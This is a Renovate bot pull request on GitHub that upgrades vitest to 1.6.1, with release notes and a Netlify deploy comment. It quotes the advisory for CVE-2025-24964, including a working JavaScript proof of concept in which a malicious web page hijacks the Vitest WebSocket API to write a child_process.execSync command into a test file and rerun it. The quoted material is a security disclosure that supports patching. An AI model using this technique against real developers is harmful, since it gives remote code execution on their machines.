Skip to content

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Feb 4, 2025

This PR contains the following updates:

Package Change Age Confidence
vitest (source) 1.3.01.6.1 age confidence

GitHub Vulnerability Alerts

CVE-2025-24964

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.


Release Notes

vitest-dev/vitest (vitest)

v1.6.1

Compare Source

This release includes security patches for:

   🐞 Bug Fixes
    View changes on GitHub

v1.6.0

Compare Source

   🚀 Features
   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v1.5.3

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v1.5.2

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v1.5.1

Compare Source

   🚀 Features
  • api: startVitest() to accept stdout and stdin  -  by @​AriPerkkio in #​5493 (780b1)
    • This is listed as a feature, but it doesn't increase the minor version because startVitest API is experimental and doesn't follow semver.
   🐞 Bug Fixes
    View changes on GitHub

v1.5.0

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v1.4.0

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v1.3.1

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

Configuration

📅 Schedule: Branch creation - "" in timezone Australia/Sydney, Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot added the dependencies label Feb 4, 2025
@renovate renovate bot enabled auto-merge (squash) February 4, 2025 22:07
@netlify
Copy link

netlify bot commented Feb 4, 2025

Deploy Preview for timjames ready!

Name Link
🔨 Latest commit d97c34c
🔍 Latest deploy log https://app.netlify.com/projects/timjames/deploys/696e7196163a01000889af6d
😎 Deploy Preview https://deploy-preview-90--timjames.netlify.app
📱 Preview on mobile
Toggle QR Code...

QR Code

Use your smartphone camera to open QR code link.
Lighthouse
Lighthouse
1 paths audited
Performance: 34
Accessibility: 100
Best Practices: 83
SEO: 93
PWA: 80
View the detailed breakdown and full score reports

To edit notification comments on pull requests, go to your Netlify project configuration.

@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from ff5378e to 49c37d3 Compare February 9, 2025 14:27
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 49c37d3 to add65ea Compare March 3, 2025 15:08
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 3 times, most recently from 7c6fabb to bb4f965 Compare March 17, 2025 16:33
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from bb4f965 to c490db9 Compare April 1, 2025 11:42
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from c490db9 to e445cc3 Compare April 8, 2025 12:09
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from e445cc3 to 23ffa15 Compare April 24, 2025 10:56
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 3 times, most recently from 410db07 to 5f2be31 Compare May 3, 2025 00:58
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 5f2be31 to f56c671 Compare May 19, 2025 16:16
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from f56c671 to f33c79e Compare May 28, 2025 13:43
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from f33c79e to 5de2a17 Compare June 5, 2025 21:06
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 5de2a17 to 20820f2 Compare June 22, 2025 12:49
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 20820f2 to ed954cb Compare July 2, 2025 12:58
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from cfe13a6 to e6f7f32 Compare August 13, 2025 17:41
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from e6f7f32 to 442714c Compare August 19, 2025 14:05
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 442714c to ba6b2c3 Compare August 31, 2025 10:15
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from ba6b2c3 to 04f1371 Compare September 25, 2025 20:38
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 04f1371 to 5349ef2 Compare October 21, 2025 09:57
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 5349ef2 to e2344ff Compare November 10, 2025 13:56
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from e2344ff to e3809f9 Compare November 19, 2025 00:45
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from e3809f9 to 3aa1cde Compare December 3, 2025 18:56
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 67dc9de to 64a5f76 Compare January 7, 2026 02:21
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 64a5f76 to 1b73d48 Compare January 8, 2026 19:19
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 1b73d48 to d97c34c Compare January 19, 2026 18:01
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant